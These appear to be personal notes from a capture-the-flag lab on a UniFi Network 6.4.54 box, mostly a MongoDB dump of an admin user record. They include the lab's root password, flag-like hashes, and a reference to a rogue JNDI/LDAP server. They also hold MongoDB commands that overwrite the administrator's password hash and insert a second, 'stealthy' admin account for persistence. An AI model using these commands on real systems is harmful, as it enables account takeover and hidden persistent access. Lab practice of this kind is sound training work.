what is script /dev/null -c bash ldap & jndi the rougue jndi server? how does it work
Unifi network 6.4.54
root pw: NotACrackablePassword4U2022
6ced1a6a89e666c0620cdb10262ba127
e50bc93c75b634e4b272d2f771c33681
!!!!!!! use this to change pw
db.admin.update({ name: "administrator" }, { $set: { "x_shadow": "$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0" } });
output of db.admin.find().forEach(printjson); “name” is important
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee2"),
"name" : "dodo",
"email" : "dodo@unified.htb",
"x_shadow" : "$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
"ui_settings" : {
"neverCheckForUpdate" : true,
"statisticsPrefferedTZ" : "SITE",
"statisticsPreferBps" : "",
"tables" : {
"device" : {
"sortBy" : "type",
"isAscending" : true,
"initialColumns" : [
"type",
"deviceName",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
],
"columns" : [
"type",
"deviceName",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"lastSeen",
"downlink",
"uplink",
"dailyUsage",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
]
},
"client" : {
"sortBy" : "physicalName",
"isAscending" : true,
"initialColumns" : [
"status",
"clientName",
"physicalName",
"connection",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage"
],
"columns" : [
"status",
"clientName",
"mac",
"physicalName",
"connection",
"network",
"interface",
"wifi_band",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage",
"uptime",
"channel",
"Uplink_apPort",
"signal",
"txRate",
"rxRate",
"first_seen",
"last_seen",
"rx_packets",
"tx_packets"
],
"filters" : {
"status" : {
"active" : true
},
"connection_type" : {
"ng" : true,
"na" : true,
"wired" : true,
"vpn" : true
},
"clients_type" : {
"users" : true,
"guests" : true
},
"device" : {
"device" : ""
}
}
},
"unifiDevice" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceNetwork" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceAccess" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceProtect" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceTalk" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"insights/wifiScanner" : {
"sortBy" : "apCount",
"isAscending" : false,
"initialColumns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
],
"columns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
]
},
"insights/wifiMan" : {
"sortBy" : "date",
"isAscending" : false,
"initialColumns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
],
"columns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
]
}
},
"topologyViewSettings" : {
"showAllDevices" : true,
"showAllClients" : true,
"show2GClients" : true,
"show5GClients" : true,
"showWiredClients" : true,
"showSSID" : false,
"showWifiExperience" : true,
"showRadioChannel" : false,
"showWifiStandards" : false,
"showWiredSpeed" : false,
"showWiredPorts" : false,
"online" : true,
"offline" : true,
"isolated" : true,
"pending_adoption" : true,
"managed_by_another_console" : true
},
"preferences" : {
"alertsPosition" : "top_right",
"allowHiddenDashboardModules" : false,
"browserLogLevel" : "INFO",
"bypassAutoFindDevices" : false,
"bypassConfirmAdoptAndUpgrade" : false,
"bypassConfirmBlock" : false,
"bypassConfirmRestart" : false,
"bypassConfirmUpgrade" : false,
"bypassHybridDashboardNotice" : false,
"bypassDashboardUdmProAd" : false,
"bypassHybridSettingsNotice" : false,
"dateFormat" : "MMM DD YYYY",
"dismissWlanOverrides" : false,
"enableNewUI" : false,
"hideV3SettingsIntro" : true,
"isAppDark" : true,
"isPropertyPanelFixed" : true,
"isRegularGraphForAirViewEnabled" : false,
"isResponsive" : false,
"isSettingsDark" : true,
"isUndockedByDefault" : false,
"noWhatsNew" : false,
"propertyPanelCollapse" : false,
"propertyPanelMultiMode" : true,
"refreshButtonEnabled" : false,
"refreshRate" : "2MIN",
"refreshRateRememberAll" : false,
"rowsPerPage" : 50,
"showAllPanelActions" : false,
"showWifimanAppsBanner" : true,
"timeFormat" : "H:mm",
"use24HourTime" : true,
"useBrowserTheme" : false,
"useSettingsPanelView" : false,
"websocketEnabled" : true,
"withStickyTableActions" : true,
"isUlteModalClosed" : false,
"isUbbAlignmentToolModalClosed" : false,
"offlineClientTimeframe" : 24
},
"preferredLanguage" : "en",
"dashboardConfig" : {
"lastActiveDashboardId" : "61ce269d46e0fb0012d47ec6"
}
},
"requires_new_password" : false,
"email_alert_enabled" : true,
"email_alert_grouping_enabled" : true,
"html_email_enabled" : true,
"is_professional_installer" : false,
"push_alert_enabled" : true
}
pw: and hash
Ch4ngeM3VeryQu!ck
$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0
create new user - unimportant but worked,there should be a way to make a second admin which is a bit more “stealthy” than just changing a password
db.admin.insert({ "email" : "dodo@gmail.com", "last_site_name" : "default", "name" : "dodo", "time_created" : NumberLong(100019800), "x_shadow" : "$6$9Ter1EZ9$4RCTnLfeDJsdAQ16M5d1d5Ztg2CE1J2IDlbAPSUcqYOoxjEEcpMQag41dtCQv2cJ.n9kvlx46hNT78dngJBVt0" })